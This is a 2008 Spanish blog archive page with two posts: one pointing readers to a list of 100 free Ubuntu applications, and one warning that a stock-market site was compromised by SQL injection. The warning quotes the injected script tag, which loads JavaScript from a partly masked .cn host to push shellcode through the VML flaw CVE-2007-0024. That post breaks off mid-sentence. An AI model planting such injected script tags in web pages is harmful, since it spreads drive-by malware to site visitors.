Archivos por Mayo 12th, 2008

May. 12 2008

100 Aplicaciones para Ubuntu

Publicado por vetusto en General, Opensource, Ubuntu

¿Estás harto de Windows?¿De que la mayoría de sus programas sean de pago? Entonces…..¡Cámbiate a Linux!,

aaahhhh pero claro …, tienes miedo de que si te pasas a Linux no podrás reproducir tus películas, escuchar tu música, grabar un DVD o chatear con tus amigos. ¡¡Pues no tengais ningún miedo!! porque con Linux podreis hacer todo eso y más.

Para que lo veais os dejo un enlace en el que podréis encontrar 100 aplicaciones, ordenadas por categorias, todas ellas libres!!! por las que no tendréis que pagar ni un duro ;)

Esta lista la ha recopilado Alejandro Meroño Hernández, profesor de Educación Secundaria de la especialidad de Informática en el I.E.S. San Juan Bosco de Lorca, Murcia, y está sobre todo pensada para la distribución Ubuntu pero muchas de estas aplicaciones se encuentran en otras distros Linux

Sin más, os dejo el link y espero que lo disfruteis

http://www.alejandrox.com/2008/05/mis-100-aplicaciones-imprescindibles-para-ubuntu/

Sin comentarios

May. 12 2008

Inyección SQL!!!

Publicado por kraklups en Seguridad

Desde luego que desfachatez, he intentado acceder a la página de Bolsa a la que siempre me conecto para ver si ya se había hundido el planeta y me encuentro que me están intentando meter un troyano…

Por lo que sé la página de xXx.com,ha sufrido una inyección SQL y está infectando usuarios descuidados. El problema reside en el listado de su Ranking Ibex, todos los valores presentes han sufrido una pequeña modificación y en vez de mostrar sólo el nombre y un enlace al valor, están enviando el siguiente script a todos los usuarios: <script src=http://www.w<script src=http://www.******.cn/m.js></script>

Es posible que estén infectando a todos los usuarios que usen explorer 5, 6 y 7 y no tengan parcheado su Windows XP SP2, 2003 SP1, 2003, 2000 SP4. Por lo que he leído el fallo es de carácter grave. En la página del National Vulnerability Database explican algo más sobre el fallo y sus consecuencias. El tag es CVE-2007-0024.

Ese script lo que hace es la carga de la página http://www.***.cn/07004.htm, que nos intentan meter un shellcode via este schemas-microsoft-com:vml.

En mi caso fue el antivirus (Avast) el que me dijo que se intentaba ejecutar un

En la página de F-Secure tienen más información.

Un comentario